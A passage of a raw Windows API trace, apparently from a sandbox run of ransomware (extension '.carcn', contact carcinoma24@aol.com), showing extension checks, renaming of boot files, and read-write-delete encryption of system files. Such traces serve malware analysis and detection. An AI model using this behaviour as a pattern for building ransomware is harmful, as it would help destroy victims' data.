returned 4 [0291.565] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.565] lstrlenW (lpString=".7z") returned 3 [0291.565] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.565] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0291.565] lstrlenW (lpString=".dbf") returned 4 [0291.565] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.565] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0291.565] lstrlenW (lpString=".1cd") returned 4 [0291.565] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.565] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0291.565] lstrlenW (lpString=".jpg") returned 4 [0291.565] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.566] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0291.566] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0291.566] lstrlenW (lpString=".doc") returned 4 [0291.566] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0291.566] lstrlenW (lpString=".docx") returned 5 [0291.566] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0291.566] lstrlenW (lpString=".pdf") returned 4 [0291.566] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0291.566] lstrlenW (lpString=".xls") returned 4 [0291.566] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0291.566] lstrlenW (lpString=".xlsx") returned 5 [0291.566] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0291.566] lstrlenW (lpString=".ppt") returned 4 [0291.566] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0291.566] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0291.566] lstrlenW (lpString=".zip") returned 4 [0291.566] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0291.567] lstrlenW (lpString=".rar") returned 4 [0291.567] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0291.567] lstrlenW (lpString=".bz2") returned 4 [0291.567] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0291.567] lstrlenW (lpString=".7z") returned 3 [0291.567] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0291.567] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0291.567] lstrlenW (lpString=".dbf") returned 4 [0291.567] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.567] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0291.567] lstrlenW (lpString=".1cd") returned 4 [0291.567] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0291.567] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0291.567] lstrlenW (lpString=".jpg") returned 4 [0291.567] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0291.567] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0291.567] lstrlenW (lpString="bootspaces.dll") returned 14 [0291.567] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.568] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=95648) returned 1 [0291.569] CloseHandle (hObject=0x330) returned 1 [0291.569] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0291.569] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.569] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.569] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0291.569] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0291.569] lstrlenW (lpString=".doc") returned 4 [0291.569] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0291.569] lstrlenW (lpString=".docx") returned 5 [0291.569] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0291.569] lstrlenW (lpString=".pdf") returned 4 [0291.569] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0291.569] lstrlenW (lpString=".xls") returned 4 [0291.569] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0291.569] lstrlenW (lpString=".xlsx") returned 5 [0291.569] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0291.569] lstrlenW (lpString=".ppt") returned 4 [0291.569] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0291.569] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0291.569] lstrlenW (lpString=".zip") returned 4 [0291.570] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0291.570] lstrlenW (lpString=".rar") returned 4 [0291.570] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0291.570] lstrlenW (lpString=".bz2") returned 4 [0291.570] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0291.570] lstrlenW (lpString=".7z") returned 3 [0291.570] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0291.570] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0291.570] lstrlenW (lpString=".dbf") returned 4 [0291.570] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0291.570] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0291.570] lstrlenW (lpString=".1cd") returned 4 [0291.570] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0291.570] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0291.570] lstrlenW (lpString=".jpg") returned 4 [0291.570] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0291.570] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0291.570] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0291.570] lstrlenW (lpString=".doc") returned 4 [0291.570] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0291.570] lstrlenW (lpString=".docx") returned 5 [0291.570] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0291.570] lstrlenW (lpString=".pdf") returned 4 [0291.570] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0291.570] lstrlenW (lpString=".xls") returned 4 [0291.570] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0291.570] lstrlenW (lpString=".xlsx") returned 5 [0291.571] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0291.571] lstrlenW (lpString=".ppt") returned 4 [0291.571] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0291.571] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0291.571] lstrlenW (lpString=".zip") returned 4 [0291.571] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0291.571] lstrlenW (lpString=".rar") returned 4 [0291.571] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0291.571] lstrlenW (lpString=".bz2") returned 4 [0291.571] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0291.571] lstrlenW (lpString=".7z") returned 3 [0291.571] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0291.571] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0291.571] lstrlenW (lpString=".dbf") returned 4 [0291.571] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0291.571] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0291.571] lstrlenW (lpString=".1cd") returned 4 [0291.571] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0291.571] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0291.571] lstrlenW (lpString=".jpg") returned 4 [0291.571] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0291.571] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0291.571] lstrlenW (lpString="bootvhd.dll") returned 11 [0291.572] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.572] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=99744) returned 1 [0291.572] CloseHandle (hObject=0x330) returned 1 [0291.572] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0291.572] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.572] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.572] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0291.572] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0291.572] lstrlenW (lpString=".doc") returned 4 [0291.573] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0291.573] lstrlenW (lpString=".docx") returned 5 [0291.573] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0291.573] lstrlenW (lpString=".pdf") returned 4 [0291.573] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0291.573] lstrlenW (lpString=".xls") returned 4 [0291.573] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0291.573] lstrlenW (lpString=".xlsx") returned 5 [0291.573] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0291.573] lstrlenW (lpString=".ppt") returned 4 [0291.573] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0291.573] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0291.573] lstrlenW (lpString=".zip") returned 4 [0291.573] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0291.573] lstrlenW (lpString=".rar") returned 4 [0291.573] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0291.573] lstrlenW (lpString=".bz2") returned 4 [0291.573] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0291.573] lstrlenW (lpString=".7z") returned 3 [0291.573] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0291.573] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.574] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=76632) returned 1 [0291.574] CloseHandle (hObject=0x330) returned 1 [0291.574] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0291.574] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.574] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.574] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.575] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=45472) returned 1 [0291.575] CloseHandle (hObject=0x330) returned 1 [0291.575] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0291.575] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.575] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.575] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.576] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=75616) returned 1 [0291.576] CloseHandle (hObject=0x330) returned 1 [0291.576] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0291.576] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.576] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.576] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.577] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=45472) returned 1 [0291.577] CloseHandle (hObject=0x330) returned 1 [0291.577] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0291.577] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.577] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.577] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.578] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=79200) returned 1 [0291.578] CloseHandle (hObject=0x330) returned 1 [0291.578] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0291.578] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.578] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.578] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.579] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=45984) returned 1 [0291.579] CloseHandle (hObject=0x330) returned 1 [0291.579] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0291.579] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.579] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.579] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.580] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=80224) returned 1 [0291.580] CloseHandle (hObject=0x330) returned 1 [0291.580] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0291.580] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.580] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.580] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.581] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=46496) returned 1 [0291.581] CloseHandle (hObject=0x330) returned 1 [0291.581] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0291.581] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.581] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.581] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0291.750] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=74072) returned 1 [0291.750] CloseHandle (hObject=0x330) returned 1 [0291.750] GetFileAttributesW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0291.750] GetFileAttributesW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.750] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.751] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0291.752] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0291.754] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0291.755] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0291.769] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0291.769] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.302] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.302] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0292.304] GetLastError () returned 0x0 [0292.304] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x58c0, lpOverlapped=0x0) returned 1 [0292.327] WriteFile (in: hFile=0x34c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x58d0, lpOverlapped=0x0) returned 1 [0292.329] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.329] WriteFile (in: hFile=0x34c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x116, lpOverlapped=0x0) returned 1 [0292.329] SetEndOfFile (hFile=0x34c) returned 1 [0292.330] CloseHandle (hObject=0x34c) returned 1 [0292.330] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.330] SetEndOfFile (hFile=0x338) returned 1 [0292.331] CloseHandle (hObject=0x338) returned 1 [0292.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.332] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0292.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0292.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0292.332] lstrlenW (lpString=".doc") returned 4 [0292.332] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.332] lstrlenW (lpString=".docx") returned 5 [0292.332] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.332] lstrlenW (lpString=".pdf") returned 4 [0292.333] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.333] lstrlenW (lpString=".xls") returned 4 [0292.333] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.333] lstrlenW (lpString=".xlsx") returned 5 [0292.333] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.333] lstrlenW (lpString=".ppt") returned 4 [0292.333] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0292.333] lstrlenW (lpString=".zip") returned 4 [0292.333] lstrcmpiW (lpString1=".zip", 